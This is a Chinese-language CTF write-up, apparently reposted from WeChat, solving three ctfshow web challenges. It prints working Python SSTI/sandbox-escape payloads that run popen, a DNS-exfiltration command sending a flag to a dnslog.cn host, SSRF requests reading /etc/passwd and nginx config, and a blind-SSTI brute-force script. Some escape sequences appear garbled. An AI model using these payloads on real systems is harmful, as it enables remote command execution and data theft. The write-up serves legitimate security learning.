fastapi
标签:SSTI
页面回显一个JSON数据,根据题目说所,了解一下fastapi。
发现其自带交互式API文档,访问/docs
页,有采用POST方式传参的/cccalccc
页面,参数q
传入计算式得到结果。
因为是python框架,尝试使用SSTI,反复测试各种输入,发现结果为不为str类型的都显示Internal Server Error,使用类型转换 :
curl -X POST "http://3f41f6bd-68f6-4bc3-a0b4-515069981997.chall.ctf.show/cccalccc" -H "accept: application/json" -H "Content-Type: application/x-www-form-urlencoded" -d "q=str(().__class__.__mro__[1].__subclasses__()[127].__init__.__globals__.keys())"
{"res":"dict_keys(['__name__', '__doc__', '__package__', '__loader__', ……])","err":false}#
成功得到结果,继续进行:
# 存在提示页面
curl -X POST "http://3f41f6bd-68f6-4bc3-a0b4-515069981997.chall.ctf.show/cccalccc" -H "accept: application/json" -H "Content-Type: application/x-www-form-urlencoded" -d "q=dir()"
{"res":["block_list","hint","keyword","q"],"err":false}#
# block_list
{"res":["import","open","eval","exec"],"err":false}#
# hint
{"res":"flag is in /mnt/f1a9,try to read it","err":false}#
最后读取flag:
curl -X POST "http://3f41f6bd-68f6-4bc3-a0b4-515069981997.chall.ctf.show/cccalccc" -H "accept: application/json" -H
"Content-Type: application/x-www-form-urlencoded" -d "q=str(().__class__.__mro__[-1].__subclasses__()[127].__init__.__globals__['po'+'pen']('cat /mnt/f1a9').read())"
{"res":"flag{fc445857-55b9-433a-837a-454590df1012}n","err":false}#
或:
q=__builtins__.__dict__['__imp'+'ort__']('os').system('ping `cat /mnt/f1a9`.vkc03s.dnslog.cn')
__import__() 函数用于动态加载类和函数
__builtins__的模块其中包含了大量内置函数
dir(__builtins__)
FastAPI 是一个高性能 Web 框架,用于构建 API。
主要特性:
快速:非常高的性能,与 NodeJS 和 Go 相当
快速编码:将功能开发速度提高约 200% 至 300%
更少的错误:减少约 40% 的人为错误
直观:强大的编辑器支持,自动补全无处不在,调试时间更少
简易:旨在易于使用和学习,减少阅读文档的时间。
简短:减少代码重复。
稳健:获取可用于生产环境的代码,具有自动交互式文档
基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema
图片代理
题目只显示了一张图片,查看URL发现照片为互联网资源:
http://1b97c3df-f6b8-4c4c-8dd1-e766cc482edf.chall.ctf.show/index.php?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w
base64 decode:http://p.qlogo.cn/gh/372619038/372619038/0
猜测本题可以通过curl加载资源并显示到网页上,尝试包含本地文件:
http://1b97c3df-f6b8-4c4c-8dd1-e766cc482edf.chall.ctf.show/index.php?picurl=file:///etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
成功显示,站点web服务器为Nginx,尝试查看默认配置文件:
http://1b97c3df-f6b8-4c4c-8dd1-e766cc482edf.chall.ctf.show/index.php?picurl=file:///etc/nginx/conf.d/default.conf
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/bushihtml;
index index.php index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ .php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
location = /404.html {
internal;
}
}
得到源码:
<?php
if(isset($_GET["picurl"])){
$ch = curl_init(explode("&",base64_decode($_GET["picurl"]))[0]);
curl_setopt($ch, CURLOPT_TIMEOUT,2);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
header("Content-type: image/jpeg");
print( $data );
unset($data);
}else{
header('location:index.php?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMz
cyNjE5MDM4LzM3MjYxOTAzOC8w');
}
?>
curl_init ([ string
$url
=NULL
] ) : resource初始化新的会话
explode ( string
$delimiter
, string$string
[, int$limit
] ) : array使用一个字符串分割另一个字符串
开放9000端口,存在fastcgi服务
这里可以利用gohper端口扫描,得到同样的结果
http://1b97c3df-f6b8-4c4c-8dd1-e766cc482edf.chall.ctf.show/index.php?picurl=gohper://127.0.0.1:9000/
可以使用:
hello_world
标签:SSTI
本题过滤:
{{}} -> {%%}
'' -> ""
_ -> /x0f
. -> []
测试过程:
key={% if ''!=1 %}1{% endif %} #500
key={% if ""!=1 %}1{% endif %} #200
key={% if "".__class__!=1% }1{% endif %} #500
key={% if ""["x5fx5fclassx5fx5f"]!=1 %}air{% endif %} #200
key={% if ""["x5fx5fclassx5fx5f"]["x5fx5fbasex5fx5f"]["x5fx5fsubclassesx5fx5f"]()[§0§]["x5fx5finitx5fx5f"]["x5fx5fglobalsx5fx5f"]["popen"] %}1{% endif %} # 测试可用subclasses
正式Payload:
key={% if ""["x5fx5fclassx5fx5f"]["x5fx5fbasex5fx5f"]["x5fx5fsubclassesx5fx5f"]()[117]["x5fx5finitx5fx5f"]["x5fx5fglobalsx5fx5f"]["popen"]("whoami")["read"]()[0]=="§§" %}1{% endif %}
Python脚本:
import requests
import string
str_ = string.digits+string.ascii_lowercase+'-_{}/n'
cmd = 'ls /'
url = "http://b19ed86c-bba6-464d-b0bf-75427fafa794.chall.ctf.show/"
for i in range(45):
for char in str_:
payload = '''{% if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]
["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]
["\x5f\x5fglobals\x5f\x5f"]
["popen"]("'''+cmd+'''")["read"]()['''+str(i)+''']=="'''+char+'''" %}chalan{% endif %}'''
data = {'key': payload}
r = requests.post(url, data=data)
if 'chalan' in r.text:
print(char, end='')
break
Reference
利用 Gopher 协议拓展攻击面
ctfshow-1024杯
原文始发于微信公众号(爱喝酒烫头的曹操):CTF show 1024 wirteup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论